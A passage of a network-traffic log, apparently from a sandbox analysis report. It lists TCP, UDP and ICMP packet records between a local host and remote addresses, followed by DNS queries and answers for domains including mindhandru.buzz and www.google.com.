Dec 27, 2024 15:09:19.575491905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.576591015 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.576669931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.576725960 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.577547073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.577600956 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.577685118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.578469038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.578555107 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.578607082 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.579438925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.579483986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.579497099 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.580449104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.580859900 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.580914021 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.581465960 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.581515074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.581612110 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.582636118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.582648993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.582698107 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.583563089 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.583609104 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.583622932 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.584655046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.584853888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.584896088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.585556984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.585596085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.585648060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.586587906 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.586719036 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.586769104 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.587652922 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.587698936 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.587699890 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.588677883 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.588740110 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.588910103 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.589680910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.589729071 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.589793921 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.590688944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.590776920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.590825081 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.591702938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.591752052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.591823101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.592732906 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.592801094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.592850924 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.593766928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.593820095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.593894958 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.594837904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.594966888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.595012903 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.735115051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.735225916 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.735326052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.735414982 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.735600948 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.736694098 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.736757994 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.736809969 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.736857891 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.737665892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.737791061 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.738255978 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.738660097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.738790035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.739866972 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.739916086 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.739993095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.740036011 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.740987062 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.741107941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.742113113 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.742146969 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.742187023 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.742239952 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.743165016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.743303061 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.744092941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.744142056 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.744220018 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.744268894 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.745079994 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.745163918 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.745217085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.746010065 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.746125937 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.747147083 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.747195959 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.747222900 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.747257948 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.748025894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.748116970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.748892069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.748943090 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.749005079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.749044895 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.750015974 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.750114918 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.750850916 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.750896931 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.750929117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.750968933 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.751832962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.751923084 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.752635956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.752686977 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.752762079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.752801895 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.753470898 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.753520966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.754148006 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.754298925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.754388094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.755305052 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.755322933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.755362034 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.756177902 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.756311893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.757354021 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.757405996 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.757477999 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.757520914 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.758183956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.758304119 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.758352995 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.759269953 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.759469032 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.760338068 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.760389090 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.760405064 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.760441065 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.761313915 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.761388063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.762151003 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.762321949 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.762420893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.763305902 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.763353109 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.763452053 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.763493061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.764431000 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.764622927 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.765573025 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.765619040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.765727997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.765767097 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.766475916 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.766710043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.766755104 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.767455101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.767545938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.768481970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.768526077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.768536091 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.768565893 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.769509077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.769601107 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.770147085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.770566940 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.770637035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.771505117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.771560907 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.771617889 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.771657944 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.772561073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.772794008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.773550034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.773601055 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.773612976 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.773648024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.774622917 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.774717093 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.774764061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.775612116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.775721073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.776160955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.776611090 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.776720047 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.776762009 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.777679920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.777770996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.777816057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.778661966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.778763056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.778799057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.779748917 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.779840946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.780046940 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.780848980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.780925035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.780976057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.781727076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.781912088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.781963110 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.782891035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.783004999 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.783046961 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.783795118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.783979893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.784058094 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.784884930 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.785006046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.785058975 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.786072969 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.786211014 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.786257982 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.786889076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.787028074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.787126064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.787858963 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.838330030 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.926423073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.926485062 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.926837921 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.926882982 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.926955938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.926997900 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.928167105 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.928726912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.928848028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.928891897 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:19.929269075 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:19.929311037 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:31.010888100 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:31.010936022 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:31.011001110 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:31.011260986 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:31.011276007 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:31.163444996 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:32.779963970 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:32.780313015 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:32.780349970 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:32.781459093 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:32.781533003 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:32.782644033 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:32.782713890 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:32.828671932 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:32.828701019 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:32.875389099 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:42.464211941 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:42.464296103 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:09:42.464541912 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:42.993237019 CET	49772	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:09:42.993256092 CET	443	49772	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:30.936167002 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:30.936216116 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:30.936297894 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:30.936515093 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:30.936527014 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:32.674088955 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:32.674396038 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:32.674422026 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:32.674782991 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:32.675062895 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:32.675127983 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:32.716908932 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:42.375072002 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:42.375174999 CET	443	49941	142.250.181.68	192.168.2.5
Dec 27, 2024 15:10:42.375226021 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:43.359344006 CET	49941	443	192.168.2.5	142.250.181.68
Dec 27, 2024 15:10:43.359390020 CET	443	49941	142.250.181.68	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:08:50.541469097 CET	52825	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:08:50.778393030 CET	53	52825	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:26.662440062 CET	53	55654	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:26.781300068 CET	53	59476	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:29.629525900 CET	53	49383	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:30.873142004 CET	52063	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:30.873284101 CET	51964	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:31.009835005 CET	53	52063	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:31.009944916 CET	53	51964	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:33.534181118 CET	64608	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:33.534181118 CET	54049	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:41.475631952 CET	53	51506	1.1.1.1	192.168.2.5
Dec 27, 2024 15:09:43.432152033 CET	63368	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:43.432352066 CET	60486	53	192.168.2.5	1.1.1.1
Dec 27, 2024 15:09:46.928884983 CET	53	57540	1.1.1.1	192.168.2.5
Dec 27, 2024 15:10:05.652672052 CET	53	50405	1.1.1.1	192.168.2.5
Dec 27, 2024 15:10:26.240361929 CET	53	55597	1.1.1.1	192.168.2.5
Dec 27, 2024 15:10:28.695971012 CET	53	62174	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 15:10:56.123421907 CET	192.168.2.5	1.1.1.1	c234	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 15:08:50.541469097 CET	192.168.2.5	1.1.1.1	0xb1a4	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:30.873142004 CET	192.168.2.5	1.1.1.1	0x1bfd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:30.873284101 CET	192.168.2.5	1.1.1.1	0x8fb6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 15:09:33.534181118 CET	192.168.2.5	1.1.1.1	0x2e2e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:33.534181118 CET	192.168.2.5	1.1.1.1	0xd3ba	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 15:09:43.432152033 CET	192.168.2.5	1.1.1.1	0xfa50	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:43.432352066 CET	192.168.2.5	1.1.1.1	0x1ae	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 15:08:50.778393030 CET	1.1.1.1	192.168.2.5	0xb1a4	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:08:50.778393030 CET	1.1.1.1	192.168.2.5	0xb1a4	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:31.009835005 CET	1.1.1.1	192.168.2.5	0x1bfd	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:31.009944916 CET	1.1.1.1	192.168.2.5	0x8fb6	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 15:09:33.671792030 CET	1.1.1.1	192.168.2.5	0x2e2e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.671792030 CET	1.1.1.1	192.168.2.5	0x2e2e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.671792030 CET	1.1.1.1	192.168.2.5	0x2e2e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.671792030 CET	1.1.1.1	192.168.2.5	0x2e2e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:33.673239946 CET	1.1.1.1	192.168.2.5	0xd3ba	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.673239946 CET	1.1.1.1	192.168.2.5	0xd3ba	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.856009007 CET	1.1.1.1	192.168.2.5	0x5eb8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.969630957 CET	1.1.1.1	192.168.2.5	0xc4e1	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.969630957 CET	1.1.1.1	192.168.2.5	0xc4e1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:09:33.969630957 CET	1.1.1.1	192.168.2.5	0xc4e1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:09:36.678339005 CET	1.1.1.1	192.168.2.5	0x6d8b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
